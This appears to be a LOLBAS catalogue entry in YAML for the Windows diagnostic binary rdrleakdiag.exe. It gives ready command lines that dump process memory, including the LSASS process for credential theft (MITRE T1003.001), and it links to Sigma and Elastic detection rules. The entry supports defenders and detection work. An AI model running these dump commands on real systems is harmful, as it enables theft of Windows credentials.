---
Name: rdrleakdiag.exe
Description: Microsoft Windows resource leak diagnostic tool
Author: 'John Dwyer'
Created: 2022-05-18
Commands:
  - Command: rdrleakdiag.exe /p 940 /o c:\evil /fullmemdmp /wait 1
    Description: Dump process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
    Usecase: Dump process by PID.
    Category: Dump
    Privileges: User
    MitreID: T1003
    OperatingSystem: Windows
  - Command: rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /wait 1
    Description: Dump LSASS process by PID and create a dump file (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
    Usecase: Dump LSASS process.
    Category: Dump
    Privileges: Administrator
    MitreID: T1003.001
    OperatingSystem: Windows
  - Command: rdrleakdiag.exe /p 832 /o c:\evil /fullmemdmp /snap
    Description: After dumping a process using /wait 1, subsequent dumps must use /snap (Creates files called minidump_<PID>.dmp and results_<PID>.hlk).
    Usecase: Dump LSASS process mutliple times.
    Category: Dump
    Privileges: Administrator
    MitreID: T1003.001
    OperatingSystem: Windows
Full_Path:
  - Path: c:\windows\system32\rdrleakdiag.exe
  - Path: c:\Windows\SysWOW64\rdrleakdiag.exe
Code_Sample:
  - Code:
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_process_dump_rdrleakdiag.yml
  - Elastic: https://www.elastic.co/guide/en/security/current/potential-credential-access-via-windows-utilities.html
  - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml
Resources:
  - Link: https://twitter.com/0gtweet/status/1299071304805560321?s=21
  - Link: https://www.pureid.io/dumping-abusing-windows-credentials-part-1/
  - Link: https://github.com/LOLBAS-Project/LOLBAS/issues/84
Acknowledgement:
  - Person: Grzegorz Tworek
    Handle: '@0gtweet'